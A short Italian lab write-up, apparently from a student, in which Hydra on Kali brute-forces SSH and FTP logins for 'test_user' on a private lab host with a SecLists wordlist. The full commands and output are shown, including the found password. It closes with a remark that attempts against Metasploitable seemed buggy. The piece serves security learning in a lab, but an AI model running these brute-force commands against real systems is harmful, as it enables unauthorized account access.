

Conosciamo già il username del servizio SSH di cui vogliamo crackare il password: **test_user**, quindi specifichiamo solo il file che contiene tutti i password che vogliamo vengano provate.

Facciamo lo stesso per trovare le credenziale di accesso su un servizio ftp.

```
kali@kali: ~  
File Actions Edit View Help  
test_user@kali: /home/kali x kali@kali: ~ x kali@kali: ~ x  
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)  
service the service to crack (see below for supported protocols)  
OPT some service modules support additional input (-U for module help)  
  
Supported services: adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest|md5}[s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] sntp-enumer snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp  
  
Hydra is a tool to guess/crack valid login/password pairs.  
Licensed under AGPL v3.0. The newest version is always available at;  
https://github.com/vanhauser-thc/thc-hydra  
Please don't use in military or secret service organizations, or for illegal purposes. (This is a wish and non-binding - most such people do not care about laws and ethics anyway - and tell themselves they are one of the good ones.)  
  
Example: hydra -l user -P passlist.txt ftp://192.168.0.1  
  
-(kali@kali)-[~]  
$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt 10.0.2.4 -t4 ssh  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 05:36:52  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1001 login tries (l:1/p:1001), ~251 tries per task  
[DATA] attacking ssh://10.0.2.4:22/  
[22][ssh] host: 10.0.2.4 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 05:37:06  
  
-(kali@kali)-[~]  
$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt 10.0.2.4 -t4 ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 06:11:02  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1001 login tries (l:1/p:1001), ~251 tries per task  
[DATA] attacking ftp://10.0.2.4:21/  
[21][ftp] host: 10.0.2.4 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 06:11:16  
  
-(kali@kali)-[~]  
$
```

Ho provato ad
usare Hydra
contro
metasploitable
con altri
compagni, ma
abbiamo concluso
che il programma
o qualche parte
del processo é
buggato, anche
dopo aver
aggiornato Hydra.